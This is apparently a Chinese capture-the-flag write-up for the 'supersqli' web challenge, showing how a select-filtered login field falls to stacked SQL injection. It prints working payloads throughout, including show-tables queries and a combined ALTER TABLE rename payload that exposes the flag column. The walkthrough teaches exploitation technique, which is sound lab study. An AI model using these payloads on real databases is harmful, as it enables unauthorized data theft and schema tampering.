攻防世界(CTF)~web-supersqli(详细解题思路)

题目介绍

题目描述"随便注"

先看一下是否存在注入

判断闭合方式

输入1' and 1=1-- -正常回显

输入1'and 1=2-- -无回显,确认是单引号闭合

看一下列数

输入1' order by 2-- - 有回显

输入1' order by 3-- - 报错,由此判断两列

使用union联合注入发现select被过滤了,无法使用联合注入

过滤的内容

复制代码
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试一下堆叠注入

堆叠注入的原理

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,会一起执行。这就是堆叠注入的基本原理

查看数据库

1';show databases;- --

查看表

1';show tables;-- -

查看两个表的字段(查看表名的时候表名要用反引号包裹)

1919810931114514表

1'; show columns from `1919810931114514`-- -

发现"flag"、"NO"

words表

1'; show columns from `words`-- -

现在虽然已经到了flag字段,但是select被过滤了,我们看不了flag字段,那么我们该怎么查看字段内容呢?

解决方法:改表名

查看过滤的内容发现rename、alert这俩关键字没有被过滤,根据在words表里发现id字段与查询框里的出的数据类型相同,一个是数字,另一个是字符串,所以默认查询的就是words表,我们可以将含有flag字段的表命名为word,然后修改字段名字

第一步:words名改为word1

alter table words rename to word1;

第二步 :把"1919810931114514"数字表名改为 words

alter table `1919810931114514` rename to words;

第三步:把现在的words表中的flag字段名改为id

alter table words change flag id varchar(100);

合在一起构造pyload(也可以分开执行语句)

1'; alter table words rename to word1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);-- -

查看flag

1' or true-- -

复制代码
flag{c168d583ed0d4d7196967b28cbd0b5e9}
相关推荐
菩提小狗5 小时前
每日安全情报报告 · 2026-08-30
网络安全·漏洞·cve·安全情报·每日安全
黄俊懿1 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第八节:网关-注入攻击与预防
sql·网络安全·架构·系统架构·架构师·架构设计
黄俊懿1 天前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第七节:网关-XSS攻击与预防
网关·网络安全·架构·系统架构·架构师·xss·架构设计
数据知道1 天前
.NET 反序列化漏洞——ViewState 与 BinaryFormatter 实战深度剖析
网络·网络安全·.net
HackTwoHub1 天前
Butter_Cookie 黄油曲奇|浏览器渗透插件,云存储检测、XSS、SQL 注入一站式 Web 安全测试工具
前端·sql·安全·web安全·网络安全·自动化·xss
AI备忘录2 天前
(十六)GRE/IPSec 隧道配置命令五厂商对照:华为 华三 锐捷 迈普 思科
运维·服务器·网络·网络协议·网络安全·华为
Eason_LYC2 天前
【GetShell】DataEase H2 JDBC远程命令执行漏洞(CVE-2025-32966+CVE-2025-49001)
网络安全·漏洞复现·dataease·白帽子·cve-2025-32966·cve-2025-49001·远程命令执行
白猫不黑2 天前
运维如何转安全(个人经验篇)
运维·学习·安全·web安全·网络安全·信息安全
Demons_kirit2 天前
PortSwigger网络缓存欺骗(4)
网络安全·缓存
白猫不黑2 天前
网络空间安全/信息安全专业学习规划(超级详细版)
运维·学习·安全·web安全·网络安全·信息安全